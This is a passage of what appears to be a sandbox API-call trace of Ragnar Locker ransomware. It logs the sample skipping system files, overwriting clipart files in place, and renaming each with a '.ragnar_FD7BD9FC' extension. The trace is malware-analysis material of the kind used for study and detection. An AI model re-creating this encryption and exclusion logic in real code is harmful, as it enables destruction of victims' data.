lstrcmpiW (lpString1="J0106222.WMF", lpString2="ntuser.dat") returned -1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="ntuser.dat.log") returned -1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="ntuser.ini") returned -1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="thumbs.db") returned -1 [0083.955] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.955] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.955] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.955] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.955] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.955] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.955] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 0x20 [0083.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.956] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19600) returned 1 [0083.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.956] GetProcessHeap () returned 0x580000 [0083.956] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.956] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.957] VirtualAlloc (lpAddress=0x0, dwSize=0x4c90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.957] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.957] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.958] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4c90, lpOverlapped=0x0) returned 1 [0083.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.959] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c90, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.959] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4c90, lpOverlapped=0x0) returned 1 [0083.959] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.959] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.959] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.960] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.960] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.960] GetProcessHeap () returned 0x580000 [0083.960] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.960] CloseHandle (hObject=0xf4) returned 1 [0083.960] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" [0083.960] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.ragnar_FD7BD9FC" [0083.960] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.960] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0083.960] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.961] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0106572.WMF" | out: lpString1="J0106572.WMF") returned="J0106572.WMF" [0083.961] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned=".WMF" [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="autorun.inf") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="boot.ini") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="bootfont.bin") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="bootsect.bak") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="bootmgr") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="bootmgr.efi") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="bootmgfw.efi") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="desktop.ini") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="iconcache.db") returned 1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="ntldr") returned -1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="ntuser.dat") returned -1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="ntuser.dat.log") returned -1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="ntuser.ini") returned -1 [0083.961] lstrcmpiW (lpString1="J0106572.WMF", lpString2="thumbs.db") returned -1 [0083.961] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.961] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.961] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.961] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.961] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.961] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.961] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 0x20 [0083.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.962] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2148) returned 1 [0083.962] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x85b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.962] GetProcessHeap () returned 0x580000 [0083.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.962] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.964] VirtualAlloc (lpAddress=0x0, dwSize=0x864, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.964] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.964] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.964] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x864, lpOverlapped=0x0) returned 1 [0083.964] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.964] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x864, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.964] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x864, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x864, lpOverlapped=0x0) returned 1 [0083.965] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x864, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.965] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.965] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.965] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.965] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.965] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.965] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.965] GetProcessHeap () returned 0x580000 [0083.965] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.965] CloseHandle (hObject=0xf4) returned 1 [0083.965] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" [0083.965] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.ragnar_FD7BD9FC" [0083.965] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0083.966] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.966] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0106816.WMF" | out: lpString1="J0106816.WMF") returned="J0106816.WMF" [0083.966] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned=".WMF" [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="autorun.inf") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="boot.ini") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="bootfont.bin") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="bootsect.bak") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="bootmgr") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="bootmgr.efi") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="bootmgfw.efi") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="desktop.ini") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="iconcache.db") returned 1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="ntldr") returned -1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="ntuser.dat") returned -1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="ntuser.dat.log") returned -1 [0083.966] lstrcmpiW (lpString1="J0106816.WMF", lpString2="ntuser.ini") returned -1 [0083.967] lstrcmpiW (lpString1="J0106816.WMF", lpString2="thumbs.db") returned -1 [0083.967] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.967] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.967] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.967] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.967] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.967] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.967] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 0x20 [0083.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.967] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3332) returned 1 [0083.967] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcfb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.967] GetProcessHeap () returned 0x580000 [0083.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.967] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.969] VirtualAlloc (lpAddress=0x0, dwSize=0xd04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.969] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd04, lpOverlapped=0x0) returned 1 [0083.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.969] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd04, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.969] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd04, lpOverlapped=0x0) returned 1 [0083.969] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.970] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.970] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.970] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.970] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.970] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.970] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.970] GetProcessHeap () returned 0x580000 [0083.970] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.970] CloseHandle (hObject=0xf4) returned 1 [0083.970] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" [0083.970] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.ragnar_FD7BD9FC" [0083.970] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.971] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0083.971] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.971] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0106958.WMF" | out: lpString1="J0106958.WMF") returned="J0106958.WMF" [0083.971] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned=".WMF" [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="autorun.inf") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="boot.ini") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="bootfont.bin") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="bootsect.bak") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="bootmgr") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="bootmgr.efi") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="bootmgfw.efi") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="desktop.ini") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="iconcache.db") returned 1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="ntldr") returned -1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="ntuser.dat") returned -1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="ntuser.dat.log") returned -1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="ntuser.ini") returned -1 [0083.971] lstrcmpiW (lpString1="J0106958.WMF", lpString2="thumbs.db") returned -1 [0083.971] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.971] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.972] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.972] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.972] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.972] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.972] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 0x20 [0083.972] CreateFileW 